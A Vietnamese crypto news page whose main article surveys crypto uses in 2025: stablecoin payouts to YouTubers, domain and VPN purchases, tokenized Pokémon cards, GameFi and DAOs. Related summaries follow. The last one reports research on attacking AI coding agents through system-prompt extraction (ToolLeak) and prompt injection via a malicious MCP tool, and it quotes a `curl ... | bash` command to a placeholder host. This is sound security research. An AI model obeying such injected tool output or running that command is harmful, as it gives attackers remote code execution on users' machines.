Crypto được sử dụng như thế nào vào năm 2025: YouTube, thẻ Pokémon và hơn thế nữa

cointelegraphXuất bản vào 2025-12-15Cập nhật gần nhất vào 2025-12-15

Tóm tắt

Năm 2025, tiền điện tử đã tìm thấy các ứng dụng thực tế trong nhiều lĩnh vực kỹ thuật số, dù chưa trở thành tiền tệ phổ biến trong thanh toán hàng ngày. Một trong những cách sử dụng phổ biến nhất là thanh toán cho freelancer và người sáng tạo nội dung, như YouTuber, thông qua stablecoin (USDC, USDT, PYUSD), giúp loại bỏ phí và độ trễ trong chuyển tiền quốc tế. Crypto cũng được dùng để mua hàng hóa kỹ thuật số như tên miền, dịch vụ lưu trữ hoặc VPN từ các nhà cung cấp như Namecheap hay Mullvad. Các nền tảng như Stripe và Shopify cũng bắt đầu tích hợp thanh toán bằng stablecoin. Văn hóa sưu tập vật lý như thẻ Pokémon đã mở rộng sang phiên bản token hóa, cho phép người chơi tham gia thu thập đồ sưu tập kỹ thuật số. Trong GameFi và DeFi, người dùng tham gia trò chơi kiếm tiền (play-to-earn), giao dịch tài sản trong game hoặc tham gia các tổ chức tự trị phi tập trung (DAO) để bỏ phiếu quản trị. Dù vẫn tồn tại thách thức như chuyển đổi sang fiat hay lạm dụng bot, tiền điện tử ngày càng được tích hợp vào các dịch vụ hiện có để giảm ma sát giao dịch và loại bỏ trung gian.

Trong nhiều năm, một trong những lời chỉ trích đơn giản và hiệu quả nhất về tiền mã hóa là cùng một câu hỏi được lặp đi lặp lại: "Bạn thực sự có thể sử dụng nó ở đâu?"

Bitcoin (BTC) được quảng cáo là tiền tệ, nhưng ngoài một số ít thương nhân mới lạ, nó hiếm khi hoạt động như một loại tiền tệ. Câu hỏi này vẫn tồn tại qua các thị trường tăng giá và sụp đổ, củng cố ý tưởng rằng crypto là thứ để nắm giữ, giao dịch hoặc tranh luận hơn là thứ để sử dụng.

Điều đó trông khác biệt vào năm 2025. Crypto vẫn không phải là tiền mặt hàng ngày tại quầy thanh toán, nhưng nó được sử dụng trong các quy trình làm việc kỹ thuật số cụ thể, nơi tốc độ hoặc thanh toán trực tiếp được ưu tiên hơn sự quen thuộc.

Dưới đây là những nơi mọi người thực sự đang sử dụng crypto ngày nay.

YouTuber và người làm nghề tự do được trả bằng crypto

Một trong những cách phổ biến nhất mà mọi người sử dụng crypto ngày nay là để trả tiền cho công việc và nhận thu nhập trực tuyến. Những người làm nghề tự do, nhà thầu và người sáng tạo sử dụng stablecoin như USDC (USDC) hoặc USDt (USDT) của Tether để giải quyết thanh toán trực tiếp giữa các ví, mà không cần dựa vào các bộ xử lý thanh toán truyền thống.

Một ví dụ gần đây đến từ YouTube. Nền tảng chia sẻ video lớn nhất thế giới được cho là đã cho phép những người sáng tạo nội dung ở Hoa Kỳ rút tiền bằng stablecoin của PayPal, PayPal USD (PYUSD).

Stablecoin của PayPal đang tiến gần đến vốn hóa thị trường 4 tỷ USD. Nguồn: CoinGecko

Đối với khách hàng và nhà tuyển dụng, điều này loại bỏ sự chậm trễ, phí và giới hạn chuyển khoản thường đi kèm với các khoản thanh toán quốc tế. Mô hình này đặc biệt phổ biến trong nền kinh tế làm việc từ xa và nền kinh tế sáng tạo.

Tuy nhiên, những người chọn thanh toán bằng crypto vẫn có thể gặp khó khăn khi chuyển đổi crypto thành tiền pháp định. Những người tham gia ngành công nghiệp đã nói rằng các ngân hàng tiếp tục đóng hoặc hạn chế tài khoản của các công ty crypto với rất ít lời giải thích mặc dù chính quyền Hoa Kỳ hiện tại có quan điểm thân thiện hơn với crypto.

Sử dụng crypto để mua hàng hóa kỹ thuật số

Ngoài việc trả tiền cho cá nhân, crypto cũng được sử dụng để giải quyết thanh toán với các doanh nghiệp. Điều này phổ biến nhất trong các dịch vụ trực tuyến có khách hàng toàn cầu, nơi các hệ thống thanh toán truyền thống gây ra ma sát thông qua phí, sự chậm trễ hoặc hạn chế khu vực.

Các nhà đăng ký tên miền, nhà cung cấp dịch vụ lưu trữ và các công ty phần mềm tập trung vào quyền riêng tư là một trong những người áp dụng dễ thấy nhất. Các nhà cung cấp như Mullvad VPN cho phép khách hàng thanh toán bằng tiền mã hóa, trong khi Namecheap và Porkbun chấp nhận crypto để đăng ký tên miền và dịch vụ lưu trữ. Vào ngày 9 tháng 9, Giám đốc điều hành Namecheap Richard Kirkendall cho biết công ty đã nhận được khoản thanh toán BTC trị giá 2 triệu USD cho một lần bán tên miền.

Namesake đã nhận Bitcoin cho một trong những lần bán hàng lớn nhất từ trước đến nay. Nguồn: Richard Kirkendall

Gần đây hơn, các nền tảng thương mại và thanh toán chính thống đã bắt đầu tích hợp thanh toán bằng stablecoin. Stripe đã cho phép các doanh nghiệp chấp nhận thanh toán USDC và ra mắt testnet công khai của blockchain stablecoin riêng, Tempo. Shopify đã thí điểm các tùy chọn thanh toán dựa trên stablecoin cho các thương nhân bán hàng quốc tế.

Liên quan: Bitcoin tách biệt khỏi cổ phiếu trong nửa cuối năm 2025

Việc xử lý quy định rõ ràng hơn về stablecoin ở Hoa Kỳ, được thúc đẩy bởi việc ký thành luật Đạo luật GENIUS, đã giảm bớt sự không chắc chắn cho một số thương nhân đang xem xét các thí điểm này.

Số hóa và mở rộng văn hóa sưu tập vật lý

Crypto cũng được sử dụng trong việc số hóa văn hóa sưu tập vốn đã phát triển mạnh ngoại tuyến. Vào năm 2025, sự quan tâm đến các vật phẩm sưu tập vật lý lại bùng nổ, được thúc đẩy bởi nhu cầu mới đối với thẻ Pokémon, figure Labubu và các đồ chơi khác.

Cùng với sự hồi sinh đó, các phiên bản kỹ thuật số và token hóa của các vật phẩm sưu tập đã trở nên phổ biến như một phần mở rộng chứ không phải là sự thay thế cho việc sưu tập vật lý.

Thẻ kiểu Pokémon được token hóa và gacha kỹ thuật số — những máy bán hàng ngẫu nhiên phổ biến — đã trở thành những cách phổ biến để những người sưu tập tham gia vào các định dạng quen thuộc trực tuyến, đặc biệt là khi các thị trường và cộng đồng chuyển từ bìa còng và tủ trưng bày sang ứng dụng và nền tảng web.

Những người sưu tập có thể chi tiêu từ 50 đến 250 USD để thử vận may với các phiên bản token hóa của thẻ Pokémon huyền thoại. Nguồn: Collector Crypt

Vị thế ngách của Crypto bên trong DeFi và GameFi

Trong tài chính phi tập trung (DeFi), người dùng hoán đổi token, cung cấp thanh khoản để khai thác lợi nhuận, cho vay tài sản hoặc vay dựa trên tài sản thế chấp thông qua các hợp đồng thông minh.

Các trò chơi dựa trên blockchain hoạt động theo cách tương tự. Thông thường, blockchain và crypto thêm các lớp kinh tế vào các trò chơi chạy trên cơ sở hạ tầng Web2. Người chơi sử dụng crypto để mua hoặc giao dịch các vật phẩm trong trò chơi và di chuyển tài sản giữa các thị trường.

Liên quan: Các thị trường dự đoán làm tăng rủi ro giao dịch nội gián và tín dụng như thế nào

Một mô hình phổ biến là trò chơi chơi để kiếm tiền (play-to-earn), nơi người chơi kiếm được crypto thông qua lối chơi. Một ví dụ nổi tiếng là Axie Infinity, đã trở thành nguồn thu nhập chính cho một số cộng đồng ở Philippines trong đại dịch. Vào năm 2025, các trò chơi chơi để kiếm tiền có nhiều khả năng cung cấp thu nhập bổ sung hơn là một sinh kế chính. Các nhà phát triển cũng phải đối mặt với những thách thức dai dẳng, bao gồm những kẻ gian lận sử dụng bot để khai thác phần thưởng, điều này lấy đi giá trị từ những người chơi công bằng.

Theo DappRadar, World of Dypians, hoạt động trên nhiều chuỗi, bao gồm Ethereum và BNB Chain, dẫn đầu các trò chơi blockchain với hơn 1 triệu ví hoạt động duy nhất tương tác với trò chơi. Trò chơi thu thập kho báu Pixudi Runs, cũng hoạt động trên nhiều chuỗi, chẳng hạn như Sei và Polygon, xếp thứ hai với gần 570.000 ví hoạt động.

Các trò chơi blockchain vẫn là thị trường ngách nhưng thu hút hàng nghìn ví hoạt động hàng ngày. Nguồn: DappRadar

Vận hành tổ chức với crypto onchain

Sâu hơn trong DeFi, crypto được sử dụng để phối hợp các tổ chức tự trị phi tập trung (DAO). Trong các nhóm này, chủ sở hữu token là các thành viên. Họ sử dụng token của mình để bỏ phiếu cho các đề xuất, phê duyệt chi tiêu và quyết định cách thức hoạt động của tổ chức. Phiếu bầu được ghi lại onchain và một khi đề xuất được thông qua, các hành động như thanh toán hoặc thay đổi quy tắc được thực hiện tự động thông qua các hợp đồng thông minh.

Quyền lực bỏ phiếu tập trung trong số những chủ sở hữu token lớn, nhiều người trong số họ thường không tham gia bỏ phiếu quản trị. Nguồn: Tally

DAO chủ yếu được sử dụng để quản lý các dự án crypto gốc. Tham gia thường có nghĩa là nắm giữ token quản trị, điều hướng các đề xuất bỏ phiếu onchain và quản lý một chiếc ví. Những yêu cầu này khiến quản trị DAO trở nên không thực tế đối với hầu hết người dùng thông thường.

Kết quả là, DAO vẫn phần lớn là lĩnh vực của những người đã hoạt động tích cực trong hệ sinh thái crypto.

Các ứng dụng hiện tại của crypto rộng hơn các tham vọng ban đầu của nó, và sự phát triển vẫn tiếp tục. Các công ty tài chính đang sử dụng blockchain để token hóa tài sản trong thế giới thực, giải quyết giao dịch bằng stablecoin và thử nghiệm các phiên bản onchain của các sản phẩm tài chính truyền thống.

Các thử nghiệm khác, chẳng hạn như hệ thống danh tính dựa trên ví và cho vay được hỗ trợ bằng Bitcoin, vẫn đang trong giai đoạn đầu. Nhưng chúng tuân theo các mô hình quen thuộc, với crypto rất có thể sẽ được tích hợp vào các dịch vụ hiện có và loại bỏ ma sát do các trung gian tạo ra.

Tạp chí: Câu hỏi lớn: Bitcoin có tồn tại sau một cuộc mất điện kéo dài 10 năm không?

Câu hỏi Liên quan

QCrypto được sử dụng phổ biến như thế nào trong thanh toán cho lao động tự do và người sáng tạo nội dung vào năm 2025?

ACrypto, đặc biệt là các stablecoin như USDC, USDT và PYUSD, được sử dụng rộng rãi để thanh toán cho lao động tự do và người sáng tạo nội dung (như YouTuber) nhằm giảm thiểu phí, tránh trễ chuyển tiền và vượt qua hạn chế chuyển khoản quốc tế. Ví dụ, YouTube cho phép người sáng tạo tại Mỹ rút tiền qua stablecoin PYUSD của PayPal.

QCác doanh nghiệp trực tuyến nào chấp nhận thanh toán bằng crypto và lợi ích là gì?

ACác doanh nghiệp như nhà cung cấp VPN (Mullvad), dịch vụ đăng ký tên miền và hosting (Namecheap, Porkbun) chấp nhận crypto. Điều này giúp giảm ma sát trong thanh toán quốc tế, loại bỏ phí cao và hạn chế khu vực. Gần đây, các nền tảng như Stripe và Shopify cũng tích hợp stablecoin để hỗ trợ giao dịch xuyên biên giới.

QCrypto đã cách mạng hóa văn hóa sưu tập vật lý như thế nào trong năm 2025?

ACrypto cho phép số hóa và mở rộng văn hóa sưu tập vật lý (như thẻ Pokémon, figure Labubu) thông qua các phiên bản token hóa. Người sưu tập có thể tham gia vào các thẻ kỹ thuật số và 'gacha' trực tuyến, kết hợp giữa sở thích truyền thống và công nghệ blockchain, tạo ra trải nghiệm mới mà không thay thế hoàn toàn vật lý.

QDeFi và GameFi sử dụng crypto như thế nào để tạo ra giá trị cho người dùng?

ATrong DeFi, người dùng sử dụng crypto để hoán đổi token, cung cấp thanh khoản, vay và cho vay thông qua hợp đồng thông minh. Trong GameFi, crypto được dùng để mua bán vật phẩm trong game và tham gia vào các trò chơi 'play-to-earn' (chơi để kiếm tiền), nơi người chơi kiếm được phần thưởng crypto, như trường hợp Axie Infinity hoặc World of Dypians.

QDAO (Tổ chức tự trị phi tập trung) hoạt động ra sao và vai trò của crypto trong đó là gì?

ADAO sử dụng crypto (cụ thể là governance token) để cho phép thành viên bỏ phiếu trên blockchain cho các đề xuất quản lý, chi tiêu và quy tắc tổ chức. Phiếu bầu được ghi lại trên chuỗi, và các hành động được thực thi tự động qua hợp đồng thông minh. Tuy nhiên, việc tham gia đòi hỏi kiến thức kỹ thuật nên chủ yếu dành cho người trong hệ sinh thái crypto.

Nội dung Liên quan

Kho dự trữ Bitcoin của Strategy thu lợi nhuận $1 tỷ nhờ giá Bitcoin tăng

Kho dự trữ bitcoin của công ty MicroStrategy do Michael Saylor đứng đầu đã thoát khỏi tình trạng lỗ nhờ đà tăng giá của tiền mã hóa. Lợi nhuận chưa thực hiện từ khoản đầu tư này đã vượt quá 1 tỷ USD. Vào ngày 21 tháng 8, giá Bitcoin ($BTC) lần đầu tiên tăng vọt trên 76.000 USD kể từ cuối tháng Năm, với mức tăng 21% trong tuần. Tính đến 10:45 giờ Moscow, Bitcoin được giao dịch quanh mức 76.700 USD. MicroStrategy sở hữu 840.447 BTC với giá mua trung bình là 75.385 USD. Từ năm 2020, công ty đã chi 63,36 tỷ USD để tích lũy số bitcoin này. Với giá hiện tại, tổng giá trị kho dự trữ đã đạt 64,46 tỷ USD, vượt quá chi phí đầu tư khoảng 1,1 tỷ USD. Sự thay đổi mạnh mẽ này diễn ra chưa đầy một tháng sau khi MicroStrategy báo cáo khoản lỗ 8,2 tỷ USD trong quý II, chủ yếu do tổn thất chưa thực hiện từ khoản đầu tư vào Bitcoin (khi đó giá vào khoảng 60.000 USD cuối tháng Sáu). Để duy trì ổn định tài chính, công ty đã phải bán một phần bitcoin và tăng cường dự trữ USD. Tuy nhiên, đầu tháng Tám, CEO Phong Le tuyên bố công ty sẽ tiếp tục tích lũy tiền mã hóa vào cuối năm nay.

cryptonews.ru8 phút trước

Kho dự trữ Bitcoin của Strategy thu lợi nhuận $1 tỷ nhờ giá Bitcoin tăng

cryptonews.ru8 phút trước

RWA Token hóa bước sang giai đoạn tiếp theo: Lợi thế thực sự cần thời gian để xây dựng là gì?

Khung phát hành token hóa tài sản thực (RWA) đang ngày càng trưởng thành, giúp việc đưa tài sản lên chuỗi trở nên nhanh chóng hơn. Tuy nhiên, khi rào cản về "phát hành" giảm xuống, câu hỏi quan trọng hơn là: điều gì sẽ xảy ra sau khi phát hành? Lợi thế cạnh tranh lâu dài không chỉ nằm ở loại tài sản được token hóa, mà còn ở khả năng vận hành bền vững và hồ sơ theo dõi được tích lũy theo thời gian. Bài viết nêu bật khái niệm "Lớp Dự trữ" (Reserve Layer) – cơ sở hạ tầng kết nối tài sản thực chất lượng cao với các hệ thống xác minh, thanh khoản và vận hành cần thiết trên chuỗi. Không phải mọi tài sản đều phù hợp làm tài sản dự trữ. Các tài sản như trái phiếu kho bạc Mỹ ngắn hạn, vàng vật chất có tính xác định giá trị cao, thị trường sâu và tiêu chuẩn hóa tốt. Ngược lại, các tài sản như tín dụng tư nhân phức tạp hơn do tính không đồng nhất. Lợi thế thực sự khó sao chép là hồ sơ vận hành lâu dài được xây dựng thông qua việc thực thi nhất quán: kiểm toán dự trữ độc lập định kỳ, cơ chế mua lại đã được chứng minh, duy trì tính liên tục thị trường, mở rộng tích hợp hệ sinh thái và xây dựng tính thanh khoản. Các bằng chứng này tích lũy theo thời gian, tạo niềm tin cho các tổ chức và củng cố vòng tròn tăng cường: hồ sơ vận hành mạnh hơn dẫn đến phân phối rộng hơn, thanh khoản sâu hơn và tiện ích tài sản thế chấp lớn hơn. Chất lượng tài sản cơ bản và năng lực vận hành của bên phát hành là hai trụ cột không thể thiếu cho sự bền vững. Sự kết hợp của tài sản dự trữ chất lượng cao với năng lực vận hành đã được chứng minh sẽ tạo nền tảng vững chắc nhất. Trong khi đó, ngay cả những tài sản chất lượng cao cũng có thể tiềm ẩn rủi ro nếu cơ sở hạ tầng vận hành phía sau chưa được kiểm chứng qua thời gian và các điều kiện thị trường khác nhau. Tóm lại, một thập kỷ sau, những dự án RWA vẫn giữ được niềm tin của thị trường và tiếp tục hoạt động sẽ là những người kết hợp thành công tài sản dự trữ chất lượng cao với kỷ luật vận hành lâu dài, biến chúng thành cơ sở hạ tầng đáng tin cậy cho tài chính trên chuỗi.

marsbit11 phút trước

RWA Token hóa bước sang giai đoạn tiếp theo: Lợi thế thực sự cần thời gian để xây dựng là gì?

marsbit11 phút trước

Artemis: Tại sao chúng tôi lạc quan về Circle?

**Artemis: Tại sao chúng tôi lạc quan về Circle?** Thị trường hiện đang định giá thấp Circle (CRCL) do lo ngại về Open Standard - một liên minh 140+ công ty (gồm Stripe, Visa, Mastercard, Google) phát hành stablecoin OUSD, đe dọa vị thế của USDC. Tuy nhiên, quan điểm của Artemis là thị trường đang nhầm lẫn. Ba luận điểm cốt lõi: 1. **Tăng trưởng ổn định:** Stablecoin dự kiến đạt quy mô **1 nghìn tỷ USD vào năm 2030** (tăng trưởng kép hàng năm ~40%), và đã tách biệt khỏi chu kỳ giá crypto. 2. **Hiệu ứng mạng và tính thanh khoản:** Thị trường có xu hướng "kẻ thắng hưởng tất". USDC và Tether hiện nắm hơn **80% thị phần**, xây dựng rào cản cực kỳ khó vượt qua về thanh khoản xuyên chuỗi và ứng dụng. Các liên minh như Open Standard khó thành công do thiếu động lực và quản trị đồng thuận. 3. **Định giá sai lầm:** Thị trường xem Circle chỉ là "nhà phát hành stablecoin" phụ thuộc vào lãi suất, trong khi thực chất họ đang xây dựng một **nền tảng tiền tệ toàn diện (full-stack money platform)** với các sản phẩm như Mạng Thanh toán Circle (Circle Payments Network - giao dịch tăng 6.8 lần/năm) và blockchain Arc. Khi Circle đa dạng hóa doanh thu từ phí giao dịch và blockchain, định giá (P/S) hiện tại ~6.7x được kỳ vọng mở rộng lên ~10x. Với kịch bản ổn định, doanh thu Circle có thể đạt ~5 tỷ USD vào năm 2030, dẫn đến định giá vốn hóa tiềm năng **~50 tỷ USD**. Mức giá hiện tại sau cú sốc Open Standard có thể đang tạo ra chênh lệch kỳ vọng lớn nhất.

marsbit11 phút trước

Artemis: Tại sao chúng tôi lạc quan về Circle?

marsbit11 phút trước

Claude Code Dễ Dàng Bị Bẻ Khóa, Chỉ Cần Một Công Cụ Giả Mạo

Người dùng yêu cầu trợ lý lập trình AI viết một trò chơi rắn săn mồi. Tác nhân AI đã thực hiện, nhưng đồng thời chạy thêm một lệnh `curl | bash`, tải xuống và thực thi một tập lệnh độc hại từ kẻ tấn công. Một nhóm nghiên cứu từ Đại học Khoa học và Công nghệ Hồng Kông và Phòng thí nghiệm An ninh Nội sinh của Đại học Phúc Đán đã tái hiện thành công kịch bản tấn công này trong một bài báo được chấp nhận tại hội nghị ISSTA 2026. Họ đã thực hiện bài kiểm tra "đội đỏ" hệ thống đầu tiên trên sáu công cụ lập trình AI phổ biến: Cursor, Claude Code, Copilot, Windsurf, Cline và Trae, và phát hiện một chuỗi tấn công hoàn chỉnh: **Đầu tiên đánh cắp lệnh nội bộ (system prompt), sau đó sử dụng thông tin bị rò rỉ để tạo tải trọng độc hại tùy chỉnh, cuối cùng chiếm quyền điều khiển việc gọi công cụ để thực thi mã từ xa (RCE).** Tất cả sáu công cụ ở phiên bản cũ đều bị ảnh hưởng. Phương pháp chính được đặt tên là ToolLeak, khai thác "khoảng cách chế độ" (mode gap). Thay vì yêu cầu trực tiếp qua cửa sổ trò chuyện, kẻ tấn công đặt tên tham số công cụ thành thứ như `"note": "system prompt"`, khiến mô hình AI điền system prompt vào đó một cách vô tình mà không bị hệ thống phòng thủ ngăn chặn. Phương pháp này đạt được độ hoàn chỉnh và độ tương tự ngữ nghĩa cao hơn nhiều so với các cuộc tấn công cơ bản truyền thống. Sau khi có được system prompt, kẻ tấn công thực hiện "tiêm prompt kênh kép" (two-channel prompt injection). Họ đăng ký một công cụ MCP độc hại với mô tả được điều chỉnh theo prompt bị rò rỉ, thuyết phục tác nhân gọi nó đầu tiên để "khởi tạo môi trường". Sau đó, giá trị trả về từ công cụ độc hại này ra lệnh cho mô hình thực thi một lệnh shell nguy hiểm (ví dụ: `curl -fsSL http://xxx/installer.sh | bash`), đạt được RCE. Trong các phiên bản cũ, tỷ lệ tấn công thành công rất cao, đạt 1.0 đối với một số tổ hợp. Một điểm đáng chú ý là Claude Code có một mô hình bảo vệ (Haiku) để kiểm tra lệnh, nhưng mô hình chính (Sonnet) đã bị thuyết phục bởi lệnh tiêm prompt đến mức gạt bỏ cảnh báo và vẫn thực thi lệnh độc hại. Các phiên bản mới hơn của một số công cụ (như Claude Code, Cursor) đã được gia cố, ví dụ bằng cách chỉ hiển thị tên công cụ thay vì toàn bộ mô tả, làm giảm đáng kể tỷ lệ thành công của cuộc tấn công. Tuy nhiên, một số công cụ khác vẫn dễ bị tổn thương. Bài báo kết luận rằng cách phòng thủ quyết định là kiến trúc cô lập, trong khi việc điều chỉnh mô hình (alignment) là chưa đủ. Vấn đề cốt lõi là ranh giới giữa dữ liệu và lệnh trong giá trị trả về công cụ vẫn chưa rõ ràng.

marsbit15 phút trước

Claude Code Dễ Dàng Bị Bẻ Khóa, Chỉ Cần Một Công Cụ Giả Mạo

marsbit15 phút trước

Giao dịch

Giao ngay
活动图片